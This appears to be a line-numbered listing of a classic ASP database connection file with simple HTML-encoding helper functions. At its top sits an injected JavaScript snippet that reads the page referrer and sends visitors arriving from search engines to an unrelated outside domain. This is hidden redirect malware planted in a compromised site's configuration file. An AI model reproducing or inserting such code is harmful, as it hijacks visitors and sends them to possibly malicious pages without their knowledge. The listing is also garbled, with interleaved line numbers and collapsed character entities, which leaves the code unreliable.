d:\wwwroot\wuchunhua\conn_save.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@ LANGUAGE = VBScript.Encode
%
>
002:
<%
dim conn
003:
On Error Resume Next 'Θέ΄νΙωΓχ
004:
response.buffer=true
005:
dim db,connstr
006:
db="#data.asp"
007:
set Conn = server.CreateObject("ADODB.Connection")
008:
connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& server.MapPath("data/"&db&"")
009:
conn.Open connstr
010:
011:
012:
Function HtmlEncode(Content)
013:
Content = Replace(Content, ">", ">")
014:
Content = Replace(Content, "<", "<")
015:
Content = Replace(Content, "'", "")
016:
HtmlEncode = content
017:
End Function
018:
019:
Function HtmlEncode2(Content)
020:
Content = Replace(Content, ">", ">")
021:
Content = Replace(Content, "<", "<")
022:
Content = Replace(Content, " ", " ")
023:
Content = Replace(Content, "'", "")
024:
Content = Replace(Content, vbcrlf,"<br>")
025:
HtmlEncode2 = content
026:
End Function
027:
%
>
028:
<!--#include file="setup.asp"-->
029:
<!--#include file="setup1.asp"-->
030:
031:
032: